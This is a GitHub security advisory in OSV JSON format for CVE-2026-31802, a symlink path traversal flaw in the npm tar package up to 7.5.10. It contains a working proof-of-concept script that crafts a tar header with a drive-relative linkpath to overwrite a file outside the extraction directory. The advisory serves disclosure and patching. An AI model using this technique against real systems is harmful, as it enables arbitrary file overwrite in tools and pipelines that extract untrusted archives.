CVE-2026-31802: Tar Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9ppj-qmqm-q256",
  "modified" : "2026-03-10T23:44:58Z",
  "published" : "2026-03-10T23:44:58Z",
  "aliases" : [ "CVE-2026-31802" ],
  "summary" : "node-tar Symlink Path Traversal via Drive-Relative Linkpath",
  "details" : "### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require('fs')\nconst path = require('path')\nconst { Header, x } = require('tar')\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, '..', 'target.txt')\nconst tarFile = path.join(cwd, 'poc.tar')\n\nfs.writeFileSync(target, 'ORIGINAL\\n')\n\nconst b = Buffer.alloc(1536)\nnew Header({\n  path: 'a/b/l',\n  type: 'SymbolicLink',\n  linkpath: 'C:../../../target.txt',\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() => {\n  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\n  process.stdout.write(fs.readFileSync(target, 'utf8'))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr  7 Mar 18:37 󰡯 a/b/l -> ../../../target.txt\n.rw-r--r-- 6 joshuavr  7 Mar 18:37  ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "tar"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.5.11"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 7.5.10"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/isaacs/node-tar"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-10T23:44:58Z",
    "nvd_published_at" : "2026-03-10T07:44:58Z"
  }
}